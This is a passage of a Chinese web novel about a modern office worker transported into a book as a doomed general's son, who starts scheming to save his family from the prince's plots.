《书穿之装瞎》 1. 狗日的书穿 严澈百无聊赖地躺在马车里,车厢随着马蹄声有节奏地摇晃着,就跟摇篮似得,让人昏昏欲睡。 他左手边的小案上放着一些点心,什么枣泥饼、桂花酥,他们的车队行了七、八日,这些点心早就干瘪开裂了。 至于右侧则垒放着书本,有当世大儒的之乎者也,还有一些兵法,反正都是严澈拿起来瞥一眼就想撅过去的东西。 刚出发的时候,它们堆得平平整整,但因为这几日严澈在车厢里又是蹬腿又是跺脚,早就被破坏了平衡,摇摇欲坠。 这不,严澈才刚要翻身,一本和新华字典有得一拼的厚实书本倒了下来,狠狠砸在他的心头。 “嗷——这日子没法混了!连书都想要老子的命!” 都是躺着当咸鱼,在现代他没被水果plus砸断鼻梁,却在古代被一本破兵书砸到岔气! 侧窗的帘子被人用剑鞘撩了起来,骑在马上的俊美男子侧身朝着车厢里一瞥,看到砸在严澈胸口上的那本书,了然地放下了帘子,又继续向前了。 严澈心里那个苦啊,他本来是新时代的大好青年,一毕业就顺风顺水跻身牛马境界,平日里最幸福的事情就是坐在洗手间的马桶上看,摸鱼就是占老板便宜,不摸白不摸! 老板嫌他带坏牛马们的风气,差点大兴土木把所有坐便器换成蹲的。 果然,努力不一定会被老板看见,但摸鱼一定会! 历史的车轮度日如年,好不容易熬到发年终奖,严澈心里那个喜啊。 这一年的辛苦,总算是轻舟已过万重山,严澈低头一看发现自己竟然没上船! 因为他穿书了。 在他伸手接那个大红包的时候,手机掉在地上,他没刹住一脚踩上去,碎屏的同时屏幕上正好就是他最近正在看的《争天》,醒来就空降在晃悠的马车里。 别人书穿,要么是穿成曾经辉煌不可一世却被人暗算、背刺、跌入泥泞的黄金配角,靠着书穿系统逆天改命卷土重来;要么就是穿成什么富家少爷被心怀叵测的后妈捧杀养废,换了个芯儿之后靠着亲妈留下的嫁妆发愤图强;再不济也会是个世子皇孙,凭着在现代总结出来的政策学问和阴谋阳谋杀出一条血路…… 但是严澈倒是独树一帜,他穿成了炮灰将军家的炮灰儿子。 没钱、没有偌大的侯府、还没脑子! 更可气的是原来的严澈到死,名声都烂大街。 什么游手好闲、色令智昏、癞蛤蟆想吃天鹅肉,觊觎齐王姿容最终落得被剜双目、惨死流放途中的下场,啧啧啧……明明是那个不要脸的齐王仗着那副勉强过得去的皮囊一番暧昧拉扯,把原主这个傻小子忽悠进了泥潭,惹了一身脏东西,骨灰里都是齐王那满身粪土气! 凭什么名声坏掉的是纯情的严澈?而那个阴湿的齐王却能登基称帝? 唉,再说回他那个炮灰爹。 严镇,他在这本书里的亲爹,镇守南峻关,为人克制、保守、不贪污、不捞油水,还死脑筋。既不会向上社交,也不懂得经营名声,发个奏疏就是“南峻安稳、南川太平”,导致他在皇帝那里的存在感为零,别人戍边几年都调回都城了,他在南边就跟个钉子户一样,一动不动。 按道理只要不犯错、不丢城池,严镇是能平安隐退的。 可这一次回京述职,严镇兢兢业业镇守了二十年的南峻关倒成了他的催命符,就因为全书的天命之子齐王想要掌控整个南川的兵权,不懂得“识时务者为俊杰”的严镇就是要被拔起的第一根钉子。 唉,严家父子双商都不在线,齐王的幕僚谋士们随便搅一搅浑水,严镇就被天子厌弃,兵权夺了,家被抄了,流放路上命也没了。 所以啊,皇帝家是最该推行独生子女政策的,这样继承家产就不用挣来抢去神仙打架,殃及池鱼,而他们严家就是鱼塘里最不起眼的鱼。 对于严澈来说,这一波书穿妥妥的地狱开局,他们严家没靠山、没圣恩,连用来打点关系的钱都没有,严澈怎么想都是死翘翘的结局。 他不是去首都休公休假的,而是去阎王那里点卯的,所以这一路他的心情又怎么会好? “多老子一个暴发户,是会破坏书穿界的生态平衡吗?” 穿的不好就算了,至少也该有个逆天的系统啊。 他在心里各种谄媚而亲热地“统统”、“宝贝系统”、“统儿”的喊了半天,根本没有任何系统被激活,他都想干脆精神分裂自己给自己cos系统聊天算了! 嗷,别人书穿有系统给金手指技能、给取之不尽用之不竭的储物空间、给攻略还帮忙保命,挂开得让人巴不得和系统谈恋爱,可他呢? 他连个发任务的NPC都没有,纯粹过来体会炮灰人生。 严澈就这样蔫了吧唧地过了好几日,连平日里最爱的烤鱼都差点把他扎得提前领盒饭,这让他的姐姐严凝担心了起来。 当他们来到一处驿站投宿,严凝安顿好了两个孩子,敲响了兄长严赋的房门。 此时的严赋正在擦剑,烛火之光映照出他五官的轮廓。 眉如刀裁、沉静坚毅,长睫垂落又流露出几分温润的书卷气,素色长衫衬得他整个人内敛挺拔,就连从小跟他一起长大的严凝都在感叹,大哥这是将山水的柔润和将帅的锋芒融于一体,少有的清贵风骨。 等到入了京城,还不得迷倒成片的贵女。 “阿凝,你照顾两个孩子一整天应该累坏了,怎么还不休息?”严赋问。 严凝叹了口气,在大哥对面坐下,接过了那柄剑,熟稔地替他擦拭了起来。 “就是觉得小弟有点不大对劲。以往他受了累,也会耍赖闹脾气,但从没有像这一路……好些天过去了,还打不起精神,吃东西也不香,马儿也不想骑,他不是最向往都城的花花世界吗?” 严赋露出若有所思的神情,“是啊,七天了……他都没对我冷嘲热讽,我都有些不大习惯了。” “大哥……”严凝欲言又止。 他们仨虽然从小一起长大,但严赋并不是他们的亲兄长,而是表兄。 严澈的姑姑严毓醉心于岐黄之术,早年游历四方追寻医道,对于嫁为人妇、相夫教子没有半点兴趣,身为兄长的严镇没有逼她,反而觉得当个女大夫、救死扶伤也是好事儿。 谁知道三年后她大着肚子回来了,却绝口不提孩子的爹是谁。 严家一向护短,估摸着严毓遇人不淑,被始乱终弃了,怕她伤心就对外宣称姑爷没了,没得透透的那种。 孩子生下来随母姓,取名严赋。 一开始南峻关还会有人嚼严毓的舌根,但是架不住她医术好,救了不少重伤的兵将,也经常走街串巷给百姓义诊,渐渐成为边关首屈一指的女神医。 严赋在亲舅舅身边长大,尽得严家枪法、剑法的真传,兵法造诣也是非凡,十五岁就披甲上阵,多次救严镇于危难之间,所以在严家军的心目中,严赋才是他们的少将军。 有了严赋珠玉在前,严澈从出生开始就在这位表兄的阴影之下。 他这小皮猴啊,读书坐不住,枪法剑法又比不上表哥,无论是在严家军心里的地位,还是父亲的信任和赞赏都被这位大表哥给占尽了,严澈是争又争不过,比也比不上,气得七窍生烟,索性摆烂了。 严澈从来不肯正儿八经地喊严赋一声“大哥”,被爹训斥不努力了就阴阳怪气说什么“学好了是要上战场马革裹尸的,这好处送给大表哥就好,我可不要”。 那欠抽劲儿哦,在南峻关是远近闻名啊,把亲爹气得三天能罚他跪九次祠堂。 所以啊,这一路严澈是绝对要独占车厢的,故意撒泼耍赖让大哥上外面骑马晒太阳去。 两人一路上看似井水不犯河水,但严澈全程没有半点给大哥添堵的迹象,就连被大哥的书给砸中了,他不但没有向大哥发脾气,还把那堆书给重新码整齐了,怎么看怎么像是太阳打东边落下,他怕是要作个更大的妖。 但大哥和姐姐都想多了,纯粹是这本书里的时间重新读档了,穿过来的崭新灵魂 发现前途昏暗所以摆烂抑郁中。 恰好,驿站附近有一座破败的道观,好像是叫清微观。 繁体字嘛,再加上古体变形,严澈也就是靠猜的。 反正他也睡不着,还不如出去散散心。 有道观,就有神佛。 大难临头求神拜佛得积极,得赶紧排队拿上许愿的号码牌,不然菩萨都得反问一句“早干嘛去了,不知道投胎都得摇号吗”。 严澈把那些干不啦叽的点心打包上,也没跟仆从说,就独自去了那座道观。 到了之后,严澈后悔了。 这道观也就门脸还算完整了,里面都是蛛网灰尘,殿顶破漏,里面的神像是个和蔼的老爷爷,月光从破洞落下来,正好映照出神像上满满的灰尘,廊柱歪斜,香案倾翻,还以为这是兰若寺呢。 严澈自认为胆小,在和聂小倩谈恋爱之前绝对先一步就被吓死了。 他忽然有点同情这尊神像了,摇头晃脑说了句:“落魄的人遇上落魄的神,也不知道谁关照谁。” 才说完,严澈就打了一个大大的喷嚏,正好把香案上的灰尘吹开。 他福至心灵,看来这尊神像不介意他带来的糕点不新鲜,想要他赶紧上供呢。 三下五除二摆好了糕点,严澈跪下来对着神像拜了三拜,口中念念有词:“菩萨保佑,佛祖保佑,保佑我严家小人近身化锦鲤,算计落空当放屁,和家平安,诸邪不侵,吃好喝好,天天欢喜!” 更重要的是,如果这波书穿我回不去现世,好歹给我一个系统。 我不奢求什么高配人工智能版,给我个经济适用的就行,再不济……NPC版的能发放任务、领奖励的也成。 严澈正用心许愿呢,身后就传来一阵低沉的笑声,吓得他肩膀一紧,不敢回头。 曾经听老人说过,半夜不能随便回头,否则肩膀上的阳火会灭。 他虽然接受了九年义务教育,号称坚定的唯物主义者,但不妨碍他在夜深人静的时候疑神疑鬼啊! 对方不疾不徐地来到了严澈的身后,缓缓道:“这位小善人,道观里供奉的是道祖,你在这里求菩萨佛祖,他们恐怕听不见。” 诶?这声音听起来就是个老人家,还挺和气的那种。 系统显灵? 严澈僵着脖子转过头,发现那是一位身着道袍,鹤发长须的老者,眉目颇为慈善。 他这才拍了拍胸口,嘀咕道:“原来是个老道啊,我还以为半夜上香遇见鬼呢!” 老道身后还跟着两个道士。 其中一个看着年轻,约摸二十出头,五官棱角分明,有股肃然之气,眼见着要将腰间的道剑拔出来,口中的“无礼”二字只来得及说出第一个字,就被老道轻飘飘地将剑摁回了剑鞘。 “唉,出门在外,应以和为贵,和气才能生财嘛。”老道还是笑呵呵的。 严澈的目光却被另外一位吸引了。 那人身形颀长,玄衣广袖,墨色的道袍似缎似纱,将他的身形衬得竟然有几分矜贵。 殿顶漏下的月光落在他的肩头,渡上一层银色光晕,玉冠束发,可惜戴着帏帽看不见长相,只能透过薄纱隐隐辨出对方的五官应该不差。 严澈歪了歪脑袋,既然对方不想被人看清楚,那自己就不该继续看,于是他再次把目光转向那位老道士。 “道长,你出游还有人护卫,那应该不缺钱花,大半夜里来到这座破败的道观,总不是为了夜宿?” 老道士笑了,不紧不慢地说:“心无俗念,随遇而安,无耽外物,居陋亦自宁。” 严澈摸了摸后脑勺,这文言文说得还得在心里翻译成白话,真麻烦。 “你的意思就是……你老人家对物质享受不在乎,所以是睡在都是蛛网灰尘的落魄道观和睡在干干净净的客栈里都是一样的,只要心里头自在,到哪儿都巴适?” “对喽。”老道士笑着捋了捋胡子。 严澈看着对方的眼睛缓慢摇了摇头,语重心长地说:“不妥。” 2. 春风亦可叩天门 “哦?有何不妥?” 严澈答道:“老人家,且不说等你睡着了会不会有蛇虫鼠蚁来咬你,万一你身后配剑的道兄打个呼噜,这房顶指不定就掉下来把你埋喽!还有这满满的灰尘,吸进肺腑里说不准大病一场就呜呼了。年纪大了,别没苦硬吃,找个正儿八经的地方好好睡觉吧。” 眼见着那位年轻道士的脸色又不好看了,老道士却呵呵笑着拍了拍他的肩膀。 严澈朝着对方用口型说“和气生财”,可惜那道士的表情更不和气了。 “小善人的话,老道听进去了。不知道小善人向道祖叩拜,所求为何?不如说出来,也许老道能为小善人开解一二?” 严澈眨了眨眼睛,感觉这老道像是有身份的人,敌我不明,严家的处境他不知道能不能说。 但生姜终归是老的辣,老道士在这书中世界修行这么多年,这块老姜都辣出功德了吧?终归能安慰安慰他。 万一这老道其实就是本次书穿的系统提示呢?毕竟自己刚跟道祖许愿了! “假如……神仙在城头打架,城门失火,那么池鱼该怎样才能不被殃及?” 老道一听,先是“唷”了一声,露出挺感兴趣的表情,接着又摸了摸胡须,慢悠悠地说:“那池子里的鱼想不想做神仙啊?” 严澈想也没想,回答道:“城头那帮神仙各种道法神通对着干,东边唢呐西边锣鼓,没完没了烦死个人了。不当不当,才不想当。” “嗯,小善人心思倒是通透。” “没有神仙的命,就别犯神仙的病。这有啥通透不通透的。” 老道呵呵笑了起来,就连他身后扣着剑柄的冷脸道士听了严澈的话,竟然也松缓了。 “那些鱼就非得待在这个池子里吗?”老道又问。 严澈心想他们也不想来京城这个破池子啊,可上有皇命下有齐王的算计,不来都不行。 “鱼离了池子没了水,不就死了吗?”严澈反问。 老道呵呵笑了起来,“贫道早年游历山川大河,见到了一种鱼,名为过山鲫。当水源干涸,这种鱼能用胸鳍和腹鳍支撑身体在陆地上移动,离水之后还能活好几天,然后找到新的水源安居乐业。” 严澈眨了眨眼睛,“诶,想起来了,我小时候在《动物世界》里见过。” “何为动物世界?” “就……一种给孩童看的话本子。道长你继续说!” “好,咱们继续说。在贫道看来,这池子里的鱼如果只把自己当成普通的鱼,遇上城门失火自然没有活路。但如果它们是过山鲫,这个池子不行,那就上岸换条大江大河嘛!没试过,怎么知道自个儿不行呢?” 严澈在脑子里想象那个画面,满池子的鱼都跳上了岸,噼里啪啦地扭着腰向前蹿,鼻孔朝天的齐王哪里看得见脚下的路,一脚踩在摇头晃脑的过山鲫上,摔个狗吃屎。 快哉快哉!哈哈哈! 老道细细看着严澈的表情,猜不到这位小善人脑袋里想着什么不和善的画面。 “道长,我想了想,哪怕成了过山鲫也没意思,不还得扭来扭去找地方容身吗?要我说,干脆当根搅屎棍,把天捅下来,给那些神仙们好好洗个头洗个脸,看谁比谁更臭!” 老道顿了一下,双指点向严澈,“这个好!这个更有意思!” 现在想来,自己虽然书穿成了炮灰,没系统、没金手指、没外挂,但他看过这本啊! 齐王对严家的算计,他难道不清楚吗? 谁要敬而远之,谁能团结一致,这些消息难道比系统金手指逊色?他虽然起点低,但在这本里他也是挂王般的存在了! 就算不能反扎齐王两刀,兵来将挡还办不到吗? 严家父子只是不善官场上的权利争斗,最重要的是没抓住帝王心术,但是他严澈可不是原主那个愣头青。 他要团结一切可以团结的力量,先试着让严家这条昏头昏脑的小鱼变成过山鲫,等离开了这个破池子,后续到底是跃龙门还是找条小河苟到尘埃落定,都能徐徐图之。 总而言之,这破书穿都穿了,反正作者写的垃圾剧情他也不爱看,不如另辟支线,做自己的主角。 “老道士,谢谢你跟我聊天。我现在心情变好了,可以回去睡觉了!” 严澈朝着对方露出大大的笑脸来。 “唔,去吧去吧!”老道摆了摆手。 “哈哈哈,搅屎棍来咯!” 严澈双臂抱着脑袋,得瑟地从道士们的身边走过,带起的风正好拨动了帏帽的轻纱,在那缝隙之间,严澈瞥见了对方的半张脸。 那一瞬的光景,确实惊艳。 里那些高山之巅、清月之下的神祇终于有了脸,那双眼睛里没有凡尘的七情六欲,只有看透丑恶欲望的薄凉。 不知道为什么,严澈觉得很可惜,忽然很想把刚才求神拜佛的时候看到了两句话送给对方。 “人间自有花与月,春风亦可叩天门!”严澈拉长了声音,悠哉悠哉地说。 “这小子作的什么歪诗!” 眼见着冷脸道士又要拔剑出鞘,这回倒是身着墨色外袍的男子抬手点在了对方的剑柄上。 “算了。” 两个字而已,宛若碎玉击泉,月下松风。 老道士呵呵笑了一下,“不算了,你还能怎的?” “这小子就是放肆,又是花又是月的,还有春风,他就是对砚真有不敬的想法!” 老道无奈地摇了摇头,“你们二人且回过头,好好看看。” 两人转过身,这才发现泥像两侧的柱子上早有刻字,正是那少年念叨的两句。 “谢鞅啊,看来你眼里的花与月,和那位小善人心里的应该不一样。” 持剑男子怔住了,然后低下头,“是我误会了。” 这时候,清亮的声音忽然从殿外传来。 “知道误会我啦?道兄,劝你火气别那么大,没事儿就拔剑——和气生财!” “你……”名为谢鞅的道士气不打一处来,作势要追出去。 严澈立马转身,迅速遁逃。 “脏水照人,自己心浊,看谁 都带泥!” 嘿嘿,气死你! 持剑道士顿住了,脖子瞬间气红,“你给我回来!” “傻子才回来!嘻嘻!” 而严澈的马尾飞扬,早就跑远了。 “福生无量天尊。”老道闭上眼睛,长叹一声,“砚真,也许这是道祖借那小善人之口来度你。” 戴着帏帽的砚真抬起头,看着那从殿顶漏下的一线月光,淡声道:“他的池中花,水中月,不还是会和鱼儿一起被失火的城门殃及?春风太过细软,又何以叩开天门?” 老道只是笑了笑,没有再说下去了。 名为谢鞅的道士只追到了门口,又转身回来问:“国师,那今晚咱们还要宿在这儿吗?” 老道一脸正经地回答:“当然不了。你没听见小善人说你晚上打个呼噜都能把这屋顶震下来?” “国师,我不打呼……”谢鞅露出了委屈神色。 “是贫道打呼噜行了吧?”老道没好气地拍了一下他的脑袋。 严澈回了驿站,一打开房门,就看见姐姐严凝坐在桌前,眉心紧蹙,满脸担忧。 “臭小子,大晚上的你跑哪里去了?还以为你被夜游神拐去赴宴了呢!” 严澈一听,转身竟然找了一面铜镜,细细打量起自己来,“真别说,我这副皮囊还挺帅气,夜游神真要是请我去赴宴,多少山精妖魅得对我念念不忘啊!” 严凝一听,气不打一处来,直接把自己等他时候纳的鞋底扔了出去,还好严澈反应快,不然被这厚鞋底拍一巴掌,明天脸颊恐怕都是红的。 “哎哟,阿姐……你小弟我是什么货色,别人不清楚,你还不知道吗?大半夜真要有人把我拐走了,你就当为民除害吧!” 听严澈这么一说,严凝没忍住笑了出来,她细细打量着弟弟,抬了抬下巴问道:“进驿站的时候,你还蔫头巴脑的。现在这样,算是死灰复燃了?” “我的姐姐,我的亲姐姐哦,我要是成死灰了,你不得难过得哭肿眼睛?” 严澈一边说,一边讨好地给姐姐捏肩膀。 “起开。”严凝的手劲儿挺大,拨开严澈手的时候还捏了一下,骨头都要裂开了哦。 “嘶……疼……” “我问你啊,你这几天没找大哥的麻烦,是不是憋什么大招,要给大哥使坏?” 严澈摊了摊手,“哪儿能哦!天塌下来得高个子去顶,大哥就是我们家的高个子,我抱他大腿还来不及,怎么会给他使坏。” 严凝愣住了,下一秒忽然掐住了严澈的脸颊,疼得他呲哇乱叫。 “诶,你会觉得疼啊,那就不是我做梦?” “你如果觉得是做梦,那就掐你自己啊,掐我算怎么回事?” 严澈捂着自己的脸,被姐姐掐还真不如挨鞋底子呢。 “行吧,还有几天就到都城了。阿姐有句掏心窝子的话,你愿意听就听,真要是不愿意听……阿姐也拿你没有办法。” 严澈歪了歪脑袋,小声道:“有话好好说,别动不动就掏心窝子,吓死个人了……” 3. 泥鳅也想跃龙门? “你……”严凝是真想再狠狠掐他,但看着小弟皱鼻子皱眼的可怜样子,又舍不得了。 “唉,你说你说,我好好听着。” “你啊,从小就喜欢好看的东西,从衣服、鞋子到照顾你的丫鬟小厮,就连小时候集市上捞金鱼,你也只盯着花尾巴的捞,黑的、红的,只要不是最好看的你捞起来了也不要。也不知道这是什么毛病……” 严澈垂着眼,小声嘀咕了一句:“还能是啥,肤浅的毛病呗。” “我知道你见了齐王第一眼,他芝兰玉树、俊美风流,让你神魂颠倒。但他毕竟是皇子,身边公孙瑕这样的谋士也是一抓一大把。齐王看着的是那至高之位,他以后要娶的是公侯贵女,根本轮不上你!” 看着严凝那含泪的目光,严澈的心脏一阵剧痛,原来阿姐早就看穿了局势,是当初的严澈身陷齐王的温柔陷阱,听不进任何劝告。 “还记得小时候有戏班子来南峻关唱戏,那旦角美艳无比,你甩掉了侍从,傻傻地攥着糖葫芦去找那人,还好大哥警觉,见到那旦角偷偷在墙上留下南荒蛮子的记号,喊了家将把这戏班子给端了。当时你如果被那南蛮探子带走了,你知道会是怎样的后果吗?” 严澈在里看过这一段,只不过被作者一笔带过,这段童年往事仿佛就是为了衬托严澈的愚蠢,他这个炮灰当得不冤。 “小弟,那次的事情之后,你还记得娘亲对你说了什么吗?” 严澈没有回答,因为他知道阿姐想要郑重地再对他说一遍。 “长得好看的,无论男女都要小心。长得好看还位高权重的,更加心狠手辣。” “我记下了,阿姐。都城水深,齐王就是条泥鳅。” 严凝顿了一下,“你……这是爱而不得,恨上了?他不是你的白月光吗?” 严澈无奈地看了她一眼,“白月光,心慌慌!我说他条泥鳅,总想学鲤鱼跃龙门,可也不想想从阴沟里起跳,还不是得落回阴沟里?阿姐,你少看点什么爱而不得的话本子吧!” “……那些话本子不是你的吗?”严凝感觉自己被倒打一耙。 “匹夫无罪,怀璧其罪。我们严家手握南峻关五万兵权,虽然不是肥肉,但已经是都城里那些权贵们酒桌上的花生米了。入了都城,我会谨慎自己的言行的。” 阿姐看着严澈认真地样子,顿了顿。 她只想着小弟别再被齐王牵着鼻子跑了,但没有想到他其实看的挺通透。 “而且阿姐,我觉得齐王没有咱大哥好看啊。” 书穿后的严澈虽然没亲眼见过齐王,但这货就是帅破天还能比过那个戴着帏帽的年轻道士? 况且就严澈的审美标准,他们家那位大表哥严赋已经是帅哥里的天花板了。 “啊?” 这话题转得让严凝回不过神来。 “咱大哥才是‘身披戎胄万点墨,剑指南蛮意气扬’,就齐王那种只会玩办公室政治的玩意儿,狗都嫌。” 说完,严澈还没忘翻个白眼,可把阿姐给逗乐了。 “唷,你这是从哪儿听来的酸诗?你竟然还会说大哥的好话?办公室政治又是什么?” “不是什么好东西,专指那些正经事儿不干,天天欺上瞒下、算计同僚、踩着别人的功绩想要往上爬的伪君子。” “哦。”严凝点了点头,“这种人确实狗都嫌。” 就在房门外,大哥严赋拎着一个食盒,里面是他刚煮好的蛋花面。 小弟再顽劣、再不着调,也是家中的老幺。 严赋知道自己的存在就是小弟的心结,所以对他是宽容和疼爱的。 这碗面如果是自己送进去,小弟恐怕要把食盒一脚踢翻。 当他在廊外犹豫的时候,没想到小弟竟然说了这样一番话,他有点惊讶和欣慰,更多是不解。 一个人的性情,除非遭逢大喜大悲,恐怕很难改变。 小弟到底为什么会忽然对齐王语出嫌恶,还会说他这个大哥的好话? 严凝是正对着房门坐着的,自然是看见大哥的身影了,于是笑了一下,走出门去把食盒拎了进来。 大哥的手指压在唇上,严凝点了点头,将食盒拎了进去。 “行了,你这几天都没好好吃饭吧?赶紧吃饱了好睡觉。” 严澈没有想太多,只以为是阿姐让人煮的,打开盖子,热气腾腾而来,葱花和鸡蛋的香味让严澈的眼睛忽然一酸,直觉告诉他,这是大哥煮的面。 在原书里,大哥严赋原本有大好前途。 即便严镇被构陷,大哥只要和严家划清界限,再娶一个爱慕自己的都城贵女,以他的才能一定能混出头。可惜了,他割舍不下亲情,选择和舅舅严镇一起发配西南,在路上被人“永绝后患”。 当杀手的刀刃落向看不见东西的严澈,是大哥挡在他的面前,杀手太多了,大哥力竭。他死前仍然紧紧将严澈护在怀里。大哥骨头裂开的声音,严澈听得清清楚楚。 到死为止,严澈才明白那又爽口又喷香的鸡蛋葱花面一直是大哥给他做的。 他恨啊,恨自己识人不清,恨自己辜负了这么好的大哥,这份痛楚与愧疚也传达给了书穿而来的严澈。 严澈吃着面,揉了揉眼睛,既然来到这个世界,他就要让严家人圆满,包括大哥! 忽然想到什么,严澈开口问:“阿姐,我们距离都城还有几日行程?” “约莫七、八日吧。” “这个驿站叫什么?” “平岭驿……怎么了,有什么不对吗?” 严澈沉思了起来,平岭驿啊……齐王,又或者说是公孙瑕对他们严家的第一波算计就要来了。 “没什么,阿姐,明早卯时你记得叫我起来,我有重要的事情。” “卯时?你平日里不到辰时根本不会睁眼。” “睡到辰时就晚了,反正你就是拿鞋底子抽我也得把我叫醒。” 公孙瑕这该死的老狗,不但是齐王的幕僚,也是严镇的发小。 可惜严镇把公孙瑕当兄弟,而公孙瑕成日来严家演戏。 严澈可不能错过公孙老狗的信,而这封信不但会害了大哥,也是坑他们严家的第一步。 姐姐严凝从没见过自家小弟这般有决心,只能点头同意。

吃完了面,严澈洗漱之后就躺在了榻上,在脑海中回忆即将发生的剧情,可惜严家就是炮灰,相关剧情几行字就带过了,严澈也只能从结果里大致推测过程,万一自己这一步走错了,很有可能还没到都城他就提前领盒饭了。 算了,真要是领盒饭了,自己说不定就能回原来的世界了! 菩萨、佛祖还有道祖都保佑,小爷的身体还新鲜着,没被火化。 反正真要是嘎了,说不定大哥严赋少了些牵绊,放开手脚,混得能没有原来那么惨了。 严澈是个不爱内耗的,既然想好了明天要干什么,管他结果怎样,翻个身抱着被子就睡着了。 第二天,阿姐还真的卯时就来喊他起床。 外面的天还蒙蒙亮呢,严澈抱着被子满心都是起床气,两条腿原地蹬了老半天,一张脸都皱成包子了,就是不见他睁开眼。 阿姐晓得他的心性,捂着嘴笑着说:“我可是已经喊过你了,是你自己不肯起来。你的那个什么大事如果没办成,可别哭鼻子。” 一听到“大事”两个字,严澈一个猛子起身,一边穿鞋一边问:“驿站有没有什么信送到阿爹那里?” “还没有吧。这个时辰驿站还没开始分拣信件,咱爹应该在院子里练枪。怎么,你要去陪他?” 严澈拍了一下脑袋,忽然意识到所谓的卯时是早晨五点到七点,算现代的两个小时。 他的目标是六点半起床,应该跟阿姐说卯时正过半再来喊他。 算了算了,起都起来了,回笼觉也睡不踏实。 “陪爹练枪这么享福的事情,还是交给大哥吧。” 说完,严澈漱口洗脸,出了房门。 果然,阿爹和大哥两人正在对练枪法。 严澈书穿前也学过武术,曾经参加过全国少年武术比赛,拿过器械类剑术季军和枪术第六,不过家里只当成强身健体来培养他,高中时代就几乎放弃了。 他现在守在廊下的阴影里,细细观摩着。跟阿爹还有大哥相比,自己在现代学的都是花架子,打出来招式好看观赏性强,但没有半点杀伤力。 可这些并不妨碍他看懂严家的枪法。 严镇的枪落下,厉啸如惊雷,大哥的还击劲风卷地,层层递进。 两杆寒枪金铁交鸣,看得严澈热血沸腾,在心里跟着比划,不知不觉就在廊下站了小半个时辰。 终于,一位驿卒捧着一封信来到了严镇面前。 严镇拿过来一看,笑道:“哈哈,是公孙兄的信!” 听到“公孙兄”三个字,严赋的眉头微微蹙了蹙,他心里一直知道这位“公孙世叔”不安好心,只是劝不动自己舅父罢了。 就在严镇把信打开的时候,一直守株待兔的严澈从廊下蹿了出去,阿爹的拳头带着劲风砸向严澈的面门,还好一旁的大哥眼疾手快给拦了下来,否则严镇就要成为大衡王朝开国以来一拳捶死亲儿子的第一人了。 “我就知道你想早点打死我,好换个新儿子!” 严镇心梗。 “你小子胡扯什么!” “让我看看公孙老登写了啥!” 4. 人不自恋枉少年 严澈拿到了信,心有余悸地迅速撤出几步远,把信抖落开。 “你这小子,快点把信还回来!信不信我让你屁股开花!” 严镇嘴上严厉,但对这个小儿子是万分宠爱的,每次小儿子干了坏事儿,自己也只能追在他身后撵,打也舍不得,只能拎小鸡儿似的把他扔祠堂里,让祖宗们教训他。谁要他是亡妻拼了性命生下来的呢。 “哎哟!这信上是要大哥去娉霞山庄送什么绛珠织锦,这是什么很贵的布料吗?” 严镇想了想,开口道:“娉霞山庄应该是晟王的女儿瑶昌县主的别院吧。公孙兄应该是希望县主美言,缓和齐王和晟王之间的关系。” 听到这里,严澈点了点头,“对对对,就是那个有好多段缠绵悱恻爱情故事的县主!我怎么觉得公孙老登让我大哥去送布料,就是肉包子打狗……不不不,是送羊入虎口呢?” “臭小子,你在胡扯啥?你大哥是那种趋炎附势的人吗?” 严镇刚要抬手拎小儿子的后脖颈,严澈就像个泥鳅一样迅速滑到了大哥的身后,只把脑袋露出来,在院子里直接开始了一场老鹰抓小鸡。 “我大哥确实不是那种人,但架不住公孙老登把我大哥吹得惊为天人,搞得县主不收藏一下显得自己不够有面子呢?” 大哥严赋抬手在眼睛上按了一下,小弟破天荒说了他的好话,但这好话听起来怎么这么怪呢? “你这是在阴阳我吗?”严赋转过身来,好笑地瞥了小弟一眼。 距离很近,严澈把大哥的眼睛鼻子看得一清二楚,啧啧,真挺帅的,三百六十度无死角。 “我这不是阴阳你,而是在给你风险提醒!” “哦,什么风险提醒?”严赋的声音里压着笑意,看来小弟憋了许久的妖,终于到了作的时候了。 “名誉风险啊。大哥你这要是去送布料,甭管你跟县主看对眼了还是闹掰了,某人都能在都城里给你造谣编故事,说你攀附县主、以色侍人,这造谣一张嘴,辟谣跑断腿。攀附实权的皇亲对于陛下来说是何等逆鳞?日后无论大哥你立下什么样的军功,只要有人看你不顺眼,参你这一条,就足够断了你的青云路。” 严赋看向严澈的眼神沉了三分,他意识到小弟口中造谣的“某人”就是今日写信拜托送布料的公孙瑕。 “你这小子胡说些什么?县主是有些风流名声,但那都是你情我愿的事情,她怎么会逼迫你大哥?公孙兄把送布的事情交给你大哥,明明是好心好意给他一个在权贵面前露脸的机会。虽然我们家确实不需要,但怎么能拂了公孙兄的好意?赋儿,你就走一趟吧。” 听到老爹的这番话,严澈是真气不打一处来。 之前看的时候,评论区就说那位县主是“强制爱”的女霸总,而且大哥还真就是她最中意的那一款! 他怀疑跟严镇过了十几年的不是自家亲娘,而是这个公孙瑕,各种耳边风都快把严镇哄成胚胎了。 公孙瑕就是开在严镇精神深处的白莲花,满腹经纶,算无遗策,在齐王那里混成了心腹,还不忘提携(坑)严镇这个发小,一句接着一句“都是为你好”,把严家坑过春夏秋冬。 算了,老爹一直处于猪油蒙心的状态,什么都听不进去,不如直接放大招! 大哥严赋刚要开口和舅舅好好说一说这个事儿,身后的小弟毫无预兆地躺在了地上,又是蹬腿又是左右翻身。 “我不管!送布料的必须是我!凭什么好事儿都给大哥了?娉霞山庄富丽堂皇,只招待王孙公子!我要去我要去我要去!” 这波放下脸皮原地打滚的操作,把老爹和大哥都镇住了。 不对啊,怎么还不来哄我? 严澈记得里自己就是个十几岁了争不过大哥就赖地上不起来的主儿啊。 是他演的火候不够,还是火候太过? 终于,老爹冷哼了一声,向前踢了一脚,但其实没踹到人,“起来!这像什么样子?你刚不还说给县主送布料会对名声不好吗?怎么,你就不担心自己的名声了?” “我一毛都没长全的小子,要什么名声?说得好像老爹你还指望我建功立业似的?” 严镇一时半会儿竟然不知道该回什么,这小子瞎说什么大实话呢? “那你就跟着赋儿一起去吧!” 卧槽?老爹你是听不懂人话是吧? 只有我去,还能全身而退。大哥要是也去了,那我的一番心血不是付诸东流?搞不好我还成了用来威胁大哥留在山庄的肉票,亏得祖宗坟头都要冒黑烟了! “大哥去了还有我什么事儿吗?我不管,只有我去送布料,不许严赋去!不然我就把那些布料一把火烧了!一了百了,谁都别想去了!” “你……”严镇气得嘴角抽搐,额头青筋突突,他到底造了什么孽,生了这么个小王八蛋! “这样吧,我送小弟到娉霞山庄附近。如果两个时辰过去了,小弟还没出来,我便登门,如何?” 严赋脸上是无可奈何的和煦笑意,心里却有一种奇妙的感受。 